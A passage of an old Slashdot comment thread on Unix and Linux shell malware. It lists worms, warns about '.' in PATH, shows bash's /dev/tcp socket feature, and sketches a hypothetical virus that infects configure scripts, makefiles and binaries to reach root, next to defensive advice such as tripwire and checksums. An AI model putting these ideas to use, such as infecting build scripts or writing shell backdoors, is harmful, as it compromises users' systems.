      These guys have been working on kernel patches, acl tools and a posix compliant acl library for some time and it works pretty well :)

      http://sourceforge.net/projects/linux-acl/

    6. Re:virii by rodgerd · · Score: 2

      One word: Evolution.

      Some longer words: one of the problems in some parts of the free software world is that certain developers are very keen on following a lot of Microsoft's paths, such as a BASIC variant pervasively embedded in their applications. Sure, those people might say they have no intention of making the dumb mistakes Microsoft have, but since their intention is the same as Microsoft's (more features, easier to use), it's not unreasonable to suppose they'll make the same pratfalls.

    7. Re:virii by sql*kitten · · Score: 2

      they just aren't as braindead as MS ones

      as far as I know it is impossible to do this with normal UNIX permissions

      Your "impossible" example is trivial on NT. Please try to understand that NTFS is nothing like FAT. NTFS ACLs are really very good, much better than anything on Solaris or Linux - that's its VMS heritage showing.

  16. Re:And... by dzym · · Score: 3, Informative
    Not just Ramen, of course, but also:

    Adore worm

    L1on worm

    Cheese

    Sadmind

    Admworm ...

    I'm pretty sure I'm missing a few recent worms... anyone else care to add to this list?

  17. Now that Bill is all about security... ; ) by dirvish · · Score: 2

    Hackers are going to have to find something to do now that Microsoft has pledged to focus on security in the future. Inevitably the will turn to *nix.

  18. The easiest malware might be cd or ls by Density_Altitude · · Score: 3, Informative

    Haven't read the article yet (/.ed) but here are the simplest shell security concerns you may have: Do you have "." in your path? If it is, have you specifically aliased ls to be /bin/ls?
    Think about untarring a package that has a malicious "ls" script. You cd into the newly created directory and issue ls. You're screwed if the shell picks up the malicious ls instead of the ls in /usr/bin

    --
    delete free(system.gc);
    1. Re:The easiest malware might be cd or ls by Phroggy · · Score: 4, Informative

      Do you have "." in your path?

      This is why . is at the end of my path, and it's not in root's path at all.

      --
      $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
      $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  19. Shell script worms by GigsVT · · Score: 4, Insightful

    Not many people know this but:

    cat /dev/tcp/localhost/22
    SSH-1.99-OpenSSH_3.1p1

    Bash has built in socket access stuff. A worm could be written in shell script, as could backdoors, etc.

    --
    I've had enough abrasive sigs. Kittens are cute and fuzzy.
    1. Re:Shell script worms by CoolVibe · · Score: 2
      Uhm, thanks for that info! I think that's a bit unnerving.

      On the other hand, writing a socket app in perl or even in C is not impossible or even rocket science.

      I never new I could use the linux /proc fs _that_ way though...

    2. Re:Shell script worms by ReelOddeeo · · Score: 2

      10. Why is bash configured with --disable-net-redirections?

      It can produce completely unexpected results. This kind of feature should not be part of a shell but a special. tool. And that tool has existed for years already, it's called netcat.


      The problem with netcat is that I cannot assume it is present on every system on which my malware might be run. Efforts such as LSB and United Linux need to guarantee malware authors of a least-common-denominator system in order to attract malware development.

      --

      Those who would give up liberty in exchange for security and DRM should switch to Microsoft Palladium!
  20. Re:And... by orangesquid · · Score: 2

    I was bored a few years ago and rewrote the Morris Worm as a shell script.

    No, I will not release the source. Never have and likely never will.

    --
    --TheOrangeSquid Is it any wonder things seem so awry? We swim in a sea of confusion and don't have to think to survive
  21. Parent plagarized from c.unix.questions faq by Jay+Carlson · · Score: 2
    I knew this looked familiar.

    The parent in its entirety is plagarized from sections 4.5 and 4.11 of the comp.unix.questions FAQ.

    If you track down a text version, you'll find those sections were written in 1994....so at least the poster is correct that this is not so new.

  22. malware? by rnd() · · Score: 3, Funny

    Is it just me, or was this story posted mainly to spread the use of the word malware?

    --

    Amazing magic tricks

    1. Re:malware? by PigleT · · Score: 2

      Yes, well, it certainly wasn't posted to provoke intellectual discussion.

      I gave up on the article half-way through, when it started talking about Javascript being "supported on both Windows and on most Unix/Linux systems". Following the first sentence of the alleged article, I'm wondering exactly where the distro flavour, kernel version and in fact anything in the OS have anything to do with javascript - unless I'm missing out on Every Linux Box Must Have A Commandline Javascript Interpreter or something?

      And why the heck are people writing crap about searching for shell scripts (note: the grep -s command presented is heavily bash-dependent as it relies on non-interpretation of both # and !) when you can simply plug in an LKM that redirects execution of a particular command off to an "infected" version, while ordinary open() calls retrieve the real binary? And, HINT, it won't chug the luser's hard-drive to death revealing its own presence.

      Face it, the days of user-space viruses are n/a here. There are much better ways to propogate; all we need is an interesting payload, and let the nerds argue whether it's a worm or a virus.

      --
      ~Tim
      --
      .|` Clouds cross the black moonlight,
      Rushing on down to the circle of the turn
  23. I was thinking about this last week.... by jpmorgan · · Score: 2, Insightful
    If I wanted to write a virus to hit a lot of Linux systems, I'd have it infect shell scripts, make files and executables, and would have two running modes.

    In user mode, it is running as an unpriviledged user. It searches for configure scripts and make files to infect. The infected configure script/make file modifies the output binary of the build so it is infected with the virus immediately. How many of you check your configure scripts when you ./configure; make; sudo make install? How many would even be able to tell what an infected configure script looked like. The moment the infected configure script/make file/binary is run as root, it switches to root mode...

    Root mode. Infect every binary on the system. In fect the kernel. Infect the init scripts.

    What about those people who only ever install packages from say, red hat, or debian? Well, as soon as red hat or debian ship a piece of software developed by someone infected with the virus, bam, the entire distro is infected.

    This is all adided by the complexity of Linux development, the distribution model, and the fact that an extraordinary number of Linux users are under the mistaken impression that Linux's security model will protect them. There are too many user-created holes in security models, and there is a very poor trust mechanism. It's just waiting to be exploited. No Linux user expects to get hit by a virus, so it would take much, much longer to be detected than a Window virus.

    Security is a good thing. A false impression of security is a bad thing.

    1. Re:I was thinking about this last week.... by Nerant · · Score: 2

      You raise several very good points, and I'll like to add to your comment that any linux user concerned
      about the integrity of their system at all run software like tripwire or AIDE.
      For example, I have the MD5sums and other hash signatures of certain binaries on my system backed up onto CDR: a simple comparision would immediately alert me to the presence of your hypothetical virus.
      Nonethelesss, I agree that one often gets a mistaken impression that Linux systems are more secure. The security model is too coarse, and clunky even.
      Distros should be reasonably secure by default install.

      --
      Be kind. There are too many mean people out there already.
  24. Re:And... by cscx · · Score: 2

    A lot of the "bugs" in Unix type software are unexploited, and very difficult to exploit, or are local only. People generally don't look for these as often in MS products because it's assumed that once you have one account, you will pretty much have run of the system, since most services run with a high level of priveledge.

    That is such absurd horseshit. Most services run with the privlege that you give it. If you let Joe Blow admin your box, whether it be Unix or Windows, you're screwed either way.

    I personally think its easier to make a Unix box vulnerable than an NT box. But no one wants to admit that because most of the *nix admin community have their heads so far up their collective asses that they have trouble seeing it any way but theres.

    Some people are afraid of the truth.

  25. Plagarism by scrytch · · Score: 2

    would it have been too difficult to have credited the portion of FAQ you copied and pasted verbatim?

    --
    I've finally had it: until slashdot gets article moderation, I am not coming back.
  26. Re:Gentoo by friedmud · · Score: 2

    I was going to say the same thing - the way it checks the MD5s of any ebuild files it downloads during its AUTOMATIC process against the ones stored on ibiblio is just cool.

    I hope they implement some sort of PGP keychain in the future though - it would be very easy to do - and add even more trust/security.

    Derek

  27. Prompts by lostchicken · · Score: 2

    Remember the fiasco we had a while back about "What's your shell prompt" and people posted (and used) malware prompts?

    Linux shell malware isn't a surprise for us /.ers, because Slashdot itself has been a method of spread for malware in the past.

    --
    -twb
  28. Re:Now that Bill is all about security... ; ) by mpe · · Score: 2

    MANY of the problems microsoft has had were due to marketing decisions that pushed usability over concerns for security.

    It's questionable if they have pushed "usability" as opposed to "bells and whistles" for purely marketing reasons.

  29. Re:And... by cscx · · Score: 2

    I vaguely remember this old local root exploit on Sun machines... you used to be able to walk up to the console when it says login:, hit Enter a bunch of times, overflow the buffer, and whammo, you're in as root.